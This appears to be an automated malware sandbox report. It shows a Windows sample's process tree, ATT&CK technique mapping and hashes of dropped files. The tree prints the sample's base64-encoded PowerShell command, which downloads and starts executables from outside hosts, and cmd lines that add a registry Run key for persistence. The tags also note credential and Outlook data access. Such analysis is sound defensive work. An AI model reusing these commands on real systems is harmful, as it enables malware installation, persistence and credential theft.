        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 13 > nul && copy "C:\Users\Admin\AppData\Roaming\NOTEPAD.exe" "C:\Users\Admin\AppData\Roaming\rtf.exe" && ping 127.0.0.1 -n 13 > nul && "C:\Users\Admin\AppData\Roaming\rtf.exe"
        7⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:4564
        
        C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 13
        8⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1868
      - C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:5704
        
        C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe"
        7⤵
        
        PID:2912

C:\Users\Admin\AppData\Roaming\WindowsTime.exe
C:\Users\Admin\AppData\Roaming\WindowsTime.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:5236
- C:\Users\Admin\AppData\Roaming\WindowsTime.exe
  "C:\Users\Admin\AppData\Roaming\WindowsTime.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of WriteProcessMemory
  PID:5060
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand "KABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBpAGcAdwAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAFAATwBXAEUAUgBQAE8ASQBOAFQALgBlAHgAZQAnACwAIAA8ACMAcABiAGYAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBjAG4AdgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBjAGkAcgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8AVwBFAFIAUABPAEkATgBUAC4AZQB4AGUAJwApACkAPAAjAHUAcwBlACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBpAGcAdwAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAFcATwBSAEQAUwAuAGUAeABlACcALAAgADwAIwB5AGkAcQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAAPAAjAHEAZABhACMAPgAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBBAHAAcABEAGEAdABhACAAPAAjAGoAcwBuACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAFcATwBSAEQAUwAuAGUAeABlACcAKQApADwAIwBwAGUAaQAjAD4AOwAgACgATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4ATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4ARABvAHcAbgBsAG8AYQBkAEYAaQBsAGUAKAAnAGgAdAB0AHAAOgAvAC8AYgBtAGgALQBnAGwAbwBiAGEAbAAuAG0AeQBmAGkAcgBlAHcAYQBsAGwALgBvAHIAZwAvAE4ATwBUAEUAUABBAEQALgBlAHgAZQAnACwAIAA8ACMAcgB5AGUAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgADwAIwBnAHMAZgAjAD4AIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHMAbgAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBOAE8AVABFAFAAQQBEAC4AZQB4AGUAJwApACkAPAAjAHkAbQBtACMAPgA7ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAAUwB5AHMAdABlAG0ALgBOAGUAdAAuAFcAZQBiAEMAbABpAGUAbgB0ACkALgBEAG8AdwBuAGwAbwBhAGQARgBpAGwAZQAoACcAaAB0AHQAcAA6AC8ALwBiAG0AaAAtAGcAbABvAGIAYQBsAC4AbQB5AGYAaQByAGUAdwBhAGwAbAAuAG8AcgBnAC8ARABPAEMAVQBNAEUATgBUAC4AZQB4AGUAJwAsACAAPAAjAGMAZQBtACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAA8ACMAdgB6AHYAIwA+ACAALQBQAGEAdABoACAAJABlAG4AdgA6AFQAZQBtAHAAIAA8ACMAegBmAGoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcARABPAEMAVQBNAEUATgBUAC4AZQB4AGUAJwApACkAPAAjAGEAeQBiACMAPgA7ACAAUwB0AGEAcgB0AC0AUAByAG8AYwBlAHMAcwAgAC0ARgBpAGwAZQBQAGEAdABoACAAPAAjAHkAcQBhACMAPgAgACgASgBvAGkAbgAtAFAAYQB0AGgAIAAtAFAAYQB0AGgAIAAkAGUAbgB2ADoAQQBwAHAARABhAHQAYQAgADwAIwBuAHUAegAjAD4AIAAtAEMAaABpAGwAZABQAGEAdABoACAAJwBQAE8AVwBFAFIAUABPAEkATgBUAC4AZQB4AGUAJwApADwAIwB1AHoAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwB5AHUAYQAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAaABrAHoAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcAVwBPAFIARABTAC4AZQB4AGUAJwApADwAIwB2AHgAcwAjAD4AOwAgAFMAdABhAHIAdAAtAFAAcgBvAGMAZQBzAHMAIAAtAEYAaQBsAGUAUABhAHQAaAAgADwAIwBqAHIAdAAjAD4AIAAoAEoAbwBpAG4ALQBQAGEAdABoACAALQBQAGEAdABoACAAJABlAG4AdgA6AEEAcABwAEQAYQB0AGEAIAA8ACMAcABsAGsAIwA+ACAALQBDAGgAaQBsAGQAUABhAHQAaAAgACcATgBPAFQARQBQAEEARAAuAGUAeABlACcAKQA8ACMAdQBzAHIAIwA+ADsAIABTAHQAYQByAHQALQBQAHIAbwBjAGUAcwBzACAALQBGAGkAbABlAFAAYQB0AGgAIAA8ACMAYQBoAGoAIwA+ACAAKABKAG8AaQBuAC0AUABhAHQAaAAgAC0AUABhAHQAaAAgACQAZQBuAHYAOgBUAGUAbQBwACAAPAAjAGwAaQBrACMAPgAgAC0AQwBoAGkAbABkAFAAYQB0AGgAIAAnAEQATwBDAFUATQBFAE4AVAAuAGUAeABlACcAKQA8ACMAdgB3AHoAIwA+AA=="
    3⤵
    - Badlisted process makes network request
    - Downloads MZ/PE file
    - System Location Discovery: System Language Discovery
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2076
  - - C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
      "C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:6096
    - - C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
        
        "C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"
        5⤵
        Executes dropped EXE
        
        PID:4260
    - - C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
        
        "C:\Users\Admin\AppData\Roaming\POWERPOINT.exe"
        5⤵
        Executes dropped EXE
        
        PID:3824
  - - C:\Users\Admin\AppData\Roaming\WORDS.exe
      "C:\Users\Admin\AppData\Roaming\WORDS.exe"
      4⤵
      Executes dropped EXE
      Suspicious use of SetThreadContext
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:328
    - - C:\Users\Admin\AppData\Roaming\WORDS.exe
        
        "C:\Users\Admin\AppData\Roaming\WORDS.exe"
        5⤵
        Drops startup file
        Executes dropped EXE
        Loads dropped DLL
        Accesses Microsoft Outlook profiles
        System Location Discovery: System Language Discovery
        Suspicious behavior: AddClipboardFormatListener
        Suspicious use of AdjustPrivilegeToken
        Suspicious use of SetWindowsHookEx
        outlook_office_path
        outlook_win_path
        
        PID:4956
  - - C:\Users\Admin\AppData\Roaming\NOTEPAD.exe
      "C:\Users\Admin\AppData\Roaming\NOTEPAD.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:3412
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 7 > nul && REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "rtf" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\rtf.exe"
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:1108
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 7
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5424
      - C:\Windows\SysWOW64\reg.exe
        
        REG ADD "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /f /v "rtf" /t REG_SZ /d "C:\Users\Admin\AppData\Roaming\rtf.exe"
        6⤵
        Adds Run key to start application
        System Location Discovery: System Language Discovery
        
        PID:1532
    - - C:\Windows\SysWOW64\cmd.exe
        
        "cmd" /c ping 127.0.0.1 -n 18 > nul && copy "C:\Users\Admin\AppData\Roaming\NOTEPAD.exe" "C:\Users\Admin\AppData\Roaming\rtf.exe" && ping 127.0.0.1 -n 18 > nul && "C:\Users\Admin\AppData\Roaming\rtf.exe"
        5⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        
        PID:5316
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 18
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:5984
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1 -n 18
        6⤵
        System Location Discovery: System Language Discovery
        System Network Configuration Discovery: Internet Connection Discovery
        Runs ping.exe
        
        PID:1828
      - C:\Users\Admin\AppData\Roaming\rtf.exe
        
        "C:\Users\Admin\AppData\Roaming\rtf.exe"
        6⤵
        Executes dropped EXE
        System Location Discovery: System Language Discovery
        Suspicious use of AdjustPrivilegeToken
        
        PID:3672
        
        C:\Users\Admin\AppData\Roaming\rtf.exe
        
        "C:\Users\Admin\AppData\Roaming\rtf.exe"
        7⤵
        
        PID:2076
  - - C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
      "C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe"
      4⤵
      Executes dropped EXE
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:1092
    - - C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe"
        5⤵
        Executes dropped EXE
        
        PID:3164
    - - C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe"
        5⤵
        Executes dropped EXE
        
        PID:2096
    - - C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
        
        "C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe"
        5⤵
        
        PID:2380

C:\Users\Admin\AppData\Roaming\rtf.exe
C:\Users\Admin\AppData\Roaming\rtf.exe
1⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:1324
- C:\Users\Admin\AppData\Roaming\rtf.exe
  "C:\Users\Admin\AppData\Roaming\rtf.exe"
  2⤵
  - Executes dropped EXE
  - System Location Discovery: System Language Discovery
  - Suspicious use of SetWindowsHookEx
  PID:5068

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boorishness.exe
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boorishness.exe
1⤵
- Executes dropped EXE
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:4528
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boorishness.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boorishness.exe"
  2⤵
  - Executes dropped EXE
  PID:3516
- C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boorishness.exe
  "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Templates\boorishness.exe"
  2⤵
  PID:5408

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Defense Evasion

Modify Registry

T1112

Obfuscated Files or Information

T1027

Command Obfuscation

T1027.010

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Remote System Discovery

T1018

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Email Collection

T1114

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

WindowsTime.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\WindowsTime.exe.log
Size 1KB
SHA256 5cacd65efb4c2314c5e0fb2bd2be258454c678e22ca9b40fe5549a832059fa8f
MD5 d4697cfe62958505d7f1824c955efcde
SHA1 1e2ad96ff093ca37f229b1892b25437b42fdb595
SHA512 bf3bf1d1c2113e272f65c014220afa911a2b35e75cea5b9c05c714fd9ad543e15c12d61dcf5b47ca41742d9b148819b824a395cb5c9bcdbc67a99ab931cd7e13
MD5 SHA1 SHA512

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log
Size 2KB
SHA256 0f977384b6ebe2ba0f51ed25b44599ad33bac5dfce64478461f7a8c725bbba0c
MD5 1a2e5e35da46d56789cbaea1c8e2d094
SHA1 0be9a7f3614a60cce7ebc4aacfd55d87cf34e0f8
SHA512 cf4ea5b403bcc750bcf3d96fe7330d12315ef582521a6e70386156027d0e5761dd6ff15785ae16f28381bdda6719e3cbc99c1427d8d98feee03fd924c464c162
MD5 SHA1 SHA512

Submit Download

StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 16KB
SHA256 cb1adf0dfe269feb45b27e0e945a4433c77b5145318baf80eebe90119bc7f3d8
MD5 8888408357cb73952b3f23fdb2dd4e6c
SHA1 a95b88cea7092ede6705c9597bc434d768700cb6
SHA512 76097ebcf200cc6eb953f6cb0268ed043151ebd6cabb9961617c8e02bd6b0c2f1cc8a019577297f41bf5e65b92743a92f105d2da0f20072c86f22409f7ef4892
SSDEEP 384:YM3HjVSS1IKGg3HRxfHnnNHjs2xJz2ccYJsFzzYqKU:BhSS2bg3fPNHj7xJzTcYJezYqKU
MD5 SHA1 SHA512 SSDEEP

Submit Download

DOCUMENT.exe

Path C:\Users\Admin\AppData\Local\Temp\DOCUMENT.exe
Size 5.4MB
SHA256 14dc2355c1cf16454a7d9d85620b50146f19661ac7da488de2bc5f7e55c173f5
MD5 7c6f6887658112433c3812f8e3dcd2a7
SHA1 f7278f3e3fb1e52265b983f7e9b945002c69f58c
SHA512 8fdc4e49ef619917e3b14d601e056c27e4bc3b4839a4b4ddd979db7bce6ced0a790b1287e5d52443b5f72a086019a041d1c7d8a4c66e0be9439cf420e28bc38a
SSDEEP 98304:N/1Q/2vgBxhOk+6vjV3Axc1yQq32yeDGWJ:bvuxhOk+6LqS1yQwnW
MD5 SHA1 SHA512 SSDEEP

Submit Download

Protect544cd51a.dll

Path C:\Users\Admin\AppData\Local\Temp\Protect544cd51a.dll
Size 742KB
SHA256 dfce2d4d06de6452998b3c5b2dc33eaa6db2bd37810d04e3d02dc931887cfddd
MD5 544cd51a596619b78e9b54b70088307d
SHA1 4769ddd2dbc1dc44b758964ed0bd231b85880b65
SHA512 f56d8b81022bb132d40aa78596da39b5c212d13b84b5c7d2c576bbf403924f1d22e750de3b09d1be30aea359f1b72c5043b19685fc9bf06d8040bfee16b17719
SSDEEP 12288:wCMz4nuvURpZ4jR1b2Ag+dQMWCD8iN2+OeO+OeNhBBhhBBgoo+A1AW8JwkaCZ+36:wCs4uvW4jfb2K90oo+C8JwUZc0
MD5 SHA1 SHA512 SSDEEP

Submit Download

__PSScriptPolicyTest_c4wglwvo.1gx.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_c4wglwvo.1gx.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

Submit Download

NOTEPAD.exe

Path C:\Users\Admin\AppData\Roaming\NOTEPAD.exe
Size 1.4MB
SHA256 97d1f1c31b94d3159c5c5978a75656b44bd6a62a54ed120e8d4e5f519b6a1c02
MD5 fabf91817db8c0f3e2d4704740b9dad8
SHA1 82fa38ab73e377d804559352e8e32134f9042dc4
SHA512 d87455f63643b01cc275dec61c625a62f73c354d9e49f9afb98ccd9839b5b143dbb40fb57332b19900576009137df62e4966a17024dc721344b927356ab2f3d4
SSDEEP 24576:8Fgb/GiAljl1uxwWA5CnRveYepqMKDmfC4KOSSn2i6SIPf4:8qtOp1qAsRveYkqM3fC41p2r4
MD5 SHA1 SHA512 SSDEEP

Submit Download

POWERPOINT.exe

Path C:\Users\Admin\AppData\Roaming\POWERPOINT.exe
Size 1.1MB
SHA256 8b1eeb6da86924cdf46fcd9fe72e6632f32dfd624938f2346293b8d00e0a9f51
MD5 d7ffa88a605fa2debd11860e755643bb
SHA1 5a945e81399932287e40e3452bfe063a6e868aaf
SHA512 eb334527e5c5a849c327de374f6f3b0291bd4060e5afecbc910b6a81b919fd35a556ee8e9af1023893ad448605e8887381880c2e43dd98af42d471ed33c6b8c8
SSDEEP 24576:XFgb/GiAljl1uxwWAYwfgebYPwd1WJnLUfEY6zI4:XqtOp1qAHYPu10LjDc4
MD5 SHA1 SHA512 SSDEEP

Submit Download

WORDS.exe

Path C:\Users\Admin\AppData\Roaming\WORDS.exe
Size 740KB
SHA256 cc1994d6e8c845affe9ee18bea771db9eb2ac9d7b2cbbabffecb7c2f4d021aec
MD5 5ff19e1e2b4776b84a946a97dbae522e
SHA1 90a154fbbe651cbc93075b68f1b2580095660fe1
SHA512 1f586ba9243fb35678ac99c61e8d41426f1ce2970afe50d3dcbddf42f4d2a85d2d8ef9db745db0a92fe778c472dc4f8955be05685e8680c0b3d84162d5958127
SSDEEP 12288:8xp1iKbDNgFd/GxkAlJX5kcu+FdX1uxwWFEJZaFfPqZpe4:uFgb/GiAljl1uxwWAM6+4
MD5 SHA1 SHA512 SSDEEP

Submit Download

WindowsTime.exe

Path C:\Users\Admin\AppData\Roaming\WindowsTime.exe
Size 698KB
SHA256 829fad413d5103822bc05f8cbf726203d8a57be3da077e0deaa3a901b6be1efa
MD5 9898b1c4dd84e3820c2a0dd239e204be
SHA1 c865d8e2212b7f111d72f2b295061fe7f0a7baa3
SHA512 fa9f609e167d85cd912c0ce31be68389d626f574becef0a8b8af796c44d174194a43fb7a956ac5584598a29ca958c843a59f7b4f4ecadc7617b95eb68acb86f3
SSDEEP 12288:2ArMDSNgFd/GxkAlJX5kcu+FdX1uxwWFEJqqvqHC54:lFgb/GiAljl1uxwWAqZw4
MD5 SHA1 SHA512 SSDEEP

Submit Download

memory/328-88-0x0000000007080000-0x0000000007096000-memory.dmp

Download

memory/328-74-0x0000000000D80000-0x0000000000E40000-memory.dmp

Download

memory/1092-87-0x0000000000EE0000-0x000000000144C000-memory.dmp

Download

memory/1324-125-0x0000000006ED0000-0x0000000006EE6000-memory.dmp

Download

memory/1660-100-0x00000000066A0000-0x00000000066EC000-memory.dmp

Download

memory/1660-98-0x0000000006160000-0x00000000064B7000-memory.dmp

Download

memory/2076-21-0x0000000005BA0000-0x00000000061CA000-memory.dmp

Download

memory/2076-20-0x00000000033B0000-0x00000000033E6000-memory.dmp

Download

memory/2076-23-0x00000000059C0000-0x0000000005A26000-memory.dmp

Download

memory/2076-31-0x00000000063B0000-0x0000000006707000-memory.dmp

Download

memory/2076-32-0x0000000006840000-0x000000000685E000-memory.dmp

Download

memory/2076-33-0x0000000006890000-0x00000000068DC000-memory.dmp

Download

memory/2076-34-0x0000000007E90000-0x000000000850A000-memory.dmp

Download

memory/2076-35-0x0000000006D90000-0x0000000006DAA000-memory.dmp

Download

memory/2076-36-0x0000000007AB0000-0x0000000007B46000-memory.dmp

Download

memory/2076-37-0x0000000007A40000-0x0000000007A62000-memory.dmp

Download

memory/2076-22-0x00000000058A0000-0x00000000058C2000-memory.dmp

Download

memory/2076-24-0x0000000006240000-0x00000000062A6000-memory.dmp

Download

memory/2380-6-0x0000000005700000-0x000000000570A000-memory.dmp

Download

memory/2380-4-0x0000000004EC0000-0x0000000004ED0000-memory.dmp

Download

memory/2380-1-0x0000000005130000-0x00000000056D6000-memory.dmp

Download

memory/2380-2-0x0000000004C20000-0x0000000004CB2000-memory.dmp

Download

memory/2380-3-0x0000000004CC0000-0x0000000004D5C000-memory.dmp

Download

memory/2380-7-0x0000000004EC0000-0x0000000004ED0000-memory.dmp

Download

memory/2380-0-0x0000000000080000-0x0000000000134000-memory.dmp

Download

memory/2380-5-0x0000000004B90000-0x0000000004BD2000-memory.dmp

Download

memory/3412-82-0x0000000000AC0000-0x0000000000C22000-memory.dmp

Download

memory/3672-151-0x0000000006F10000-0x0000000006F26000-memory.dmp

Download

memory/4956-142-0x00000000076A0000-0x0000000007848000-memory.dmp

Download

memory/4956-109-0x0000000000400000-0x0000000000412000-memory.dmp

Download

memory/4956-150-0x0000000008020000-0x00000000081E2000-memory.dmp

Download

memory/4956-147-0x00000000079C0000-0x00000000079D0000-memory.dmp

Download

memory/5060-16-0x0000000000400000-0x0000000000408000-memory.dmp

Download

memory/5068-159-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/5068-156-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/5068-163-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/5068-160-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/5068-164-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/5068-165-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/5068-166-0x0000000000400000-0x000000000047F000-memory.dmp

Download

memory/5236-14-0x0000000007190000-0x0000000007196000-memory.dmp

Download

memory/5236-13-0x0000000007140000-0x0000000007156000-memory.dmp

Download

memory/5660-128-0x0000000000400000-0x0000000000444000-memory.dmp

Download

memory/5660-126-0x0000000000400000-0x0000000000444000-memory.dmp

Download

memory/5704-155-0x0000000001030000-0x0000000001046000-memory.dmp

Download

memory/6096-59-0x00000000006B0000-0x00000000007CA000-memory.dmp

Download